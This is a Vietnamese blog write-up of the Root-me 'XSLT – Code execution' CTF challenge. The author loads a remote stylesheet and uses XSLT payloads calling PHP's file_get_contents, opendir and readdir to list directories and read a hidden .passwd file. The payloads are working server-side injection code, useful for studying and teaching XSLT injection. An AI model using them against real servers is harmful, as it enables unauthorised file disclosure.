[Root-me]XSLT – Code execution-Hard

[Root-me]XSLT – Code execution-Hard

Tại mình gà, kiến thức hạn hẹp nên may ra biết mặt mũi XML thế nào thôi ! Nghe XSLT thì méo biết cọng lông nó ra sao =.= Vô root-me giải bài này ngồi từ 7h30 sáng trên trường đến tận về nhà 10h tối thì mới solve được challz này. Ban đầu có mở DOC mà root-me cho sẵn đọc . YEAH, Đọc được vài đoạn example code thì mình quyết định lên W3S đọc bà nó DOC . Cảm nhận thì như HTML có CSS . XML thì có XSLT thui . Nó cũng tạo kiểu các thứ cho XML thoai. Link không che đây!

https://www.w3schools.com/xml/xsl_intro.asp

Vô bài thôi, à mà giữa chừng mình cũng bí vài chỗ và tham khảo bài của bạn P4nd4. Bài viết chi tiết. Mặc dù cố tình k show hết để các bạn try hard. SAM THA MI TA ❤

1

Change Style thì cũng zậy hà !!! Bật burp lên check param coi có zì thú zị !!!2

param lần lượt thay đổi khi mình đổi style thôi . Như xsl= style1.xsl -> style3.xsl

Nói hướng làm ha >.< Ban đầu ngay input xsl mình thử RFI thì pass thật. Mình thử chuyển hướng nó đến 1 file xsl và nó parse thật. Còn chi nữa, hướng nó me mé giống bài XML hay gì gì đấy trong root-me luôn. Có điều bài này parse XSL thôi. Và nó thật vãi tờ hym… Quay lại nèo :V

Còn dành tiền mua mì tôm hông có triền sài vps ném file XSL lên cho cool ngầu nên mình sài pastebin đỡ. Hjx !!!

Ban đầu các bạn đọc site này trên Stack đã!

https://security.stackexchange.com/questions/170712/execute-a-php-function-that-returns-an-array-from-an-xsl-file

Mình muốn nói kĩ một chút, Nội dung ở DOC trên thì có một bạn hỏi rằng nếu có thể read content file mà k biết file chứa flag tên gì thì cũng chả read được . Và hỏi liệu có cách nào scan dir hay bla bla dùng shell_exec bla bla không để show ra file hông ? Đáp lại một cách nhiệt tình thì đã có hướng đi cho bạn hỏi.

Vô bài nhé >,< . Mình có code 1 đoạn xsl nhưng nó hơi củ chuối và xin dùng code trên DOC trên luôn. Content đủ dùng cho mục đích…

<xsl:stylesheet version=”1.0″ xmlns:xsl=”http://www.w3.org/1999/XSL/Transform&#8221; xmlns:php=”http://php.net/xsl”&gt;
<xsl:template match=”/”>
<xsl:value-of select=”php:function(‘file_get_contents’,’index.php’)”/>
</xsl:template>
</xsl:stylesheet>

Xong việc đọc DOC về XSLT trên W3S thì mình k giải thích thêm về code ha . Cần focus dòng mình change màu thôi . Value-of select, với cách note vậy thì đã hiểu mục đích dòng này. Ban đầu chả có gì description là read file .passwd, thì mình có read file index.php thì cũng chả có gì . Nhưng read thử file .passwd thì :

3

Có lẽ như file .passwd không nằm trong dir này. Tiếp thì cũng đến phần thắc mắc chung . HOW TO SCAN DIR ?

4

Hàng tiếp tế đến, trận này k thắng là do bạn 🙂

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','./')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>
</xsl:template>
</xsl:stylesheet>

Mình đổi dir lại thành ‘./’ với thêm nhiều function readdir cho nó , vì bạn XSL nó k auto show ra các bạn ạ 😦 bạn CAT bao nhiêu nó show bấy nhiêu cho bạn thôi. Nên cứ add func đấy nhiều zào , dư còn hơn thiếu . Chả ảnh hưởng gì cả, Dư thì nó trả về false thôi.

Xem kết quả ?

5

Như thói quen ảo tưởng thấy chuỗi lạ lạ kia define trong đầu flag cmnr và đi submit. Đời luôn vã vào mặt bạn thật mạnh . Có phãi flag méo đâu . Hjx , vậy nó là gì, tay phải là đao có thể đọc content nó, tay trái là kiếm có thể scan dir nó thì sao phải ngán. Đọc được thì là file, không đọc được thì là folder. Thì cứ lấy kiếm quật coi bên trong nó là gì thôi.

<xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee')"/>

6.2

<xsl:value-of select="php:function('opendir','.6ff3200bee785801f420fba826ffcdee')"/>
<xsl:value-of select="php:function('readdir')"/>
<xsl:value-of select="php:function('readdir')"/>

6.1

Cũng thuận ý đề ra thì cần read file .passwd nên cũng không gì là bất ngờ vì cái mình ngỡ FLAG kia nó là folder cả :v LẾT GOOOOOO . Có đầy đủ link, không coi cũng uổng cho đấng nam nhi . Coi xem thử trên 4p không nhé :V

<xsl:value-of select="php:function('file_get_contents','.6ff3200bee785801f420fba826ffcdee/.passwd')"/>

7

Flag : {TRY_HARD_DON’T_COPY_PASTE}

 

Cảm ơn các bạn đã đọc, Mình viết ngẫu hứng, k giỏi viết lách nên đừng bắt cmn bẻ gì mình phần viết nhé . Thank youuu . Làm bài này mình học được nhiều cái hay ho ❤

one

 

 

One thought on “[Root-me]XSLT – Code execution-Hard

Leave a comment